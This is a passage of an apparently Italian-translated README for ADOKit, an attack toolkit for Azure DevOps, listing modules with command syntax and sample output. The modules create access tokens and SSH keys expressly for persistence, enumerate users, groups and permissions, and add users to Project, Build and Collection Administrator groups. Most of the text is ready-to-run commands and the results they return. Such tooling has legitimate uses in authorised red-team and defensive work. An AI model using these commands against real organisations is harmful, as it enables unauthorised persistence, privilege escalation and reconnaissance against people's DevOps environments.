Fornisci il modulo `createpat`, insieme a qualsiasi informazione di autenticazione pertinente e URL. Questo restituirà l'ID PAT, il nome, l'ambito, la data di validità e il contenuto del token per il PAT creato. Il nome del PAT creato sarà `ADOKit-` seguito da una stringa casuale di 8 caratteri. La data di validità del PAT sarà di 1 anno dalla data di creazione, poiché è il massimo consentito da Azure DevOps.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di Output```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Elenco PAT
Caso d'uso
Elenca tutti i token di accesso personale (PAT) per un determinato utente in un'istanza di Azure DevOps.
Sintassi
Fornire il modulo listpat, insieme alle informazioni di autenticazione e URL pertinenti. Questo produrrà in output l'ID PAT, il nome, l'ambito e la data di validità per tutti i PAT attivi dell'utente.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Esempio di output```
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:17 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Rimuovere PAT
#### Caso d'uso
> *Rimuovere un PAT per un utente specifico in un'istanza di Azure DevOps.*
#### Sintassi
Fornire il modulo `removepat`, insieme a tutte le informazioni di autenticazione e l'URL pertinenti. Inoltre, fornire l'ID del PAT nell'argomento `/id:`. Questo produrrà in output se il PAT è stato rimosso o meno, e poi elencherà i PAT attivi correnti per l'utente dopo aver eseguito la rimozione.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Esempio di output```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Creare Chiave SSH
Caso d'Uso
Creare una chiave SSH per un utente che può essere utilizzata per la persistenza verso un'istanza di Azure DevOps.
Sintassi
Fornire il modulo createsshkey, insieme a qualsiasi informazione di autenticazione pertinente e all'URL. Inoltre, fornire la propria chiave pubblica SSH nell'argomento /sshkey:. Questo produrrà l'ID della chiave SSH, il nome, l'ambito, la data di validità e gli ultimi 20 caratteri della chiave pubblica SSH per la chiave SSH creata. Il nome della chiave SSH creata sarà ADOKit- seguito da una stringa casuale di 8 caratteri. La data di scadenza della chiave SSH sarà di 1 anno dalla data di creazione, poiché è il massimo consentito da Azure DevOps.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
Esempio di Output```
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 2:51:22 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### Elenca le chiavi SSH
#### Caso d'uso
> *Elenca tutte le chiavi SSH pubbliche per un dato utente in un'istanza di Azure DevOps.*
#### Sintassi
Fornisci il modulo `listsshkey`, insieme a tutte le informazioni di autenticazione rilevanti e all'URL. Questo restituirà l'ID della chiave SSH, il nome, l'ambito e la data di validità per tutte le chiavi SSH attive dell'utente. Inoltre, stamperà gli ultimi 20 caratteri della chiave SSH pubblica.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Esempio di output```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Rimuovi Chiave SSH
Caso d'Uso
Rimuove una chiave SSH per un determinato utente in un'istanza di Azure DevOps.
Sintassi
Fornisci il modulo removesshkey, insieme a qualsiasi informazione di autenticazione pertinente e l'URL. Inoltre, fornisci l'ID della chiave SSH nell'argomento /id:. Questo indicherà se la chiave SSH è stata rimossa o meno, e poi elencherà le chiavi SSH attualmente attive per l'utente dopo aver eseguito la rimozione.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
Output di Esempio```
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 1:50:08 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Elenca Utenti
#### Caso d'Uso
> *Elenca gli utenti all'interno di un'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listuser`, insieme a tutte le informazioni di autenticazione pertinenti e all'URL. Questo restituirà il nome utente, il nome visualizzato e il nome dell'entità utente.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di Esempio```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Cerca Utente
Caso d'Uso
Cerca uno o più utenti nell'istanza di Azure DevOps
Sintassi
Fornisci il modulo searchuser e i criteri di ricerca nell'argomento da riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Questo restituirà il nome utente, il nome visualizzato e il nome principale dell'utente corrispondenti.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
Output di Esempio```
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:23 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Elenca Team
#### Caso d'uso
> *Elenca i team all'interno di un'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `listteam`, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome del team, il nome del progetto e la descrizione del team.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Output di esempio```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Ricerca Team
Caso d'Uso
Cerca uno o più team specifici nell'istanza di Azure DevOps
Sintassi
Fornisci il modulo searchteam e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Verranno restituiti il nome del team, il nome del progetto e la descrizione del team.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
Esempio di Output```
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:32 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Ottieni Membri del Team
#### Caso d'Uso
> *Ottieni i membri del team per un dato team*
#### Sintassi
Fornisci il modulo `getteammembers` e i criteri di ricerca nell'argomento da riga di comando `/search:`, insieme a tutte le informazioni di autenticazione pertinenti e all'URL. Questo restituirà il nome del team, il nome utente del membro del team e il nome visualizzato del membro del team.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Output di Esempio```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
Elenco Gruppi
Caso d'uso
Elenca i gruppi all'interno di un'istanza di Azure DevOps
Sintassi
Fornire il modulo listgroup, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente, il nome visualizzato e la descrizione del gruppo.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Output di esempio```
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:45 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Gruppi di ricerca
#### Caso d'uso
> *Cerca un gruppo specifico (o gruppi) nell'istanza di Azure DevOps*
#### Sintassi
Fornisci il modulo `searchgroup` e i criteri di ricerca nell'argomento da riga di comando `/search:`, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà il nome principale dell'utente (UPN), il nome visualizzato e la descrizione per il gruppo corrispondente.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Output di esempio```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Ottieni Membri del Gruppo
Caso d'Uso
Elenca tutti i membri del gruppo per un determinato gruppo
Sintassi
Fornisci il modulo getgroupmembers e il/i gruppo/i che desideri cercare nell'argomento della riga di comando /group:, insieme a tutte le informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente del gruppo corrispondente, insieme a ciascun membro del gruppo, inclusi l'indirizzo email e il nome visualizzato dell'utente.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
Output di Esempio```
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:03 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Ottieni Permessi del Progetto
#### Caso d'uso
> *Ottieni un elenco di chi ha i permessi per un determinato progetto.*
#### Sintassi
Fornisci il modulo `getpermissions` e il progetto che desideri cercare nell'argomento della riga di comando `/project:`, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente, il nome visualizzato e la descrizione per il gruppo corrispondente. Inoltre, restituirà i membri del gruppo per ciascuno di tali gruppi.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Esempio di Output```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Aggiungi Amministratore Progetto
Caso d'Uso
Aggiungi un utente al gruppo Project Administrators per un dato progetto.
Sintassi
Fornisci il modulo addprojectadmin insieme a /project: e /user: per un dato utente da aggiungere al gruppo Project Administrators per il progetto specificato. Inoltre, fornisci qualsiasi informazione di autenticazione e URL pertinenti. Vedi Tabella dei Dettagli del Modulo per le autorizzazioni necessarie per eseguire questa azione.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Output di Esempio```
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 2:52:45 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Rimuovi Amministratore di Progetto
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Amministratori di Progetto per un determinato progetto.*
#### Sintassi
Fornisci il modulo `removeprojectadmin` insieme a `/project:` e `/user:` per un determinato utente da rimuovere dal gruppo `Amministratori di Progetto` per il progetto specificato. Inoltre, fornisci eventuali informazioni di autenticazione pertinenti e l'URL. Consulta la [Tabella dei Dettagli dei Moduli](#module-details-table) per i permessi necessari per eseguire questa azione.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Output di Esempio```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Aggiungi Amministratore Build
Caso d'uso
Aggiungi un utente al gruppo Build Administrators per un dato progetto.
Sintassi
Fornisci il modulo addbuildadmin insieme a /project: e /user: per l'utente da aggiungere al gruppo Build Administrators del progetto specificato. Inoltre, fornisci le pertinenti informazioni di autenticazione e l'URL. Consulta la Tabella dei dettagli dei moduli per i permessi necessari per eseguire questa azione.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Esempio di Output```
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:41:51 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Rimuovi Amministratore Build
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Build Administrators per un dato progetto.*
#### Sintassi
Fornire il modulo `removebuildadmin` insieme a `/project:` e `/user:` per un dato utente da rimuovere dal gruppo `Build Administrators` per il progetto specificato. Inoltre, fornire insieme eventuali informazioni di autenticazione pertinenti e l'URL. Vedi [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Output di Esempio```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Aggiungi Amministratore della Raccolta
Caso d'Uso
Aggiungi un utente al gruppo Amministratori della Raccolta di Progetto.
Sintassi
Fornisci il modulo addcollectionadmin insieme a /user: per un determinato utente da aggiungere al gruppo Project Collection Administrators. Inoltre, fornisci qualsiasi informazione di autenticazione e URL rilevanti. Vedi Tabella dei Dettagli del Modulo per i permessi necessari per eseguire questa azione.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Output di Esempio```
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:04:40 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Rimuovi Amministratore di Raccolta
#### Caso d'Uso
> *Rimuovere un utente dal gruppo Amministratori della Raccolta di Progetto.*
#### Sintassi
Fornire il modulo `removecollectionadmin` insieme a `/user:` per un determinato utente da rimuovere dal gruppo `Project Collection Administrators`. Inoltre, fornire le informazioni di autenticazione rilevanti e l'URL. Consultare la [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Output di Esempio```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Add Collection Build Admin
Caso d'Uso
Aggiungi un utente al gruppo Project Collection Build Administrators.
Sintassi
Fornisci il modulo addcollectionbuildadmin insieme a un /user: per un dato utente da aggiungere al gruppo Project Collection Build Administrators. Inoltre, fornisci qualsiasi informazione di autenticazione pertinente e URL. Vedi Tabella dei dettagli del modulo per le autorizzazioni necessarie per eseguire questa azione.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Esempio di Output```
C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
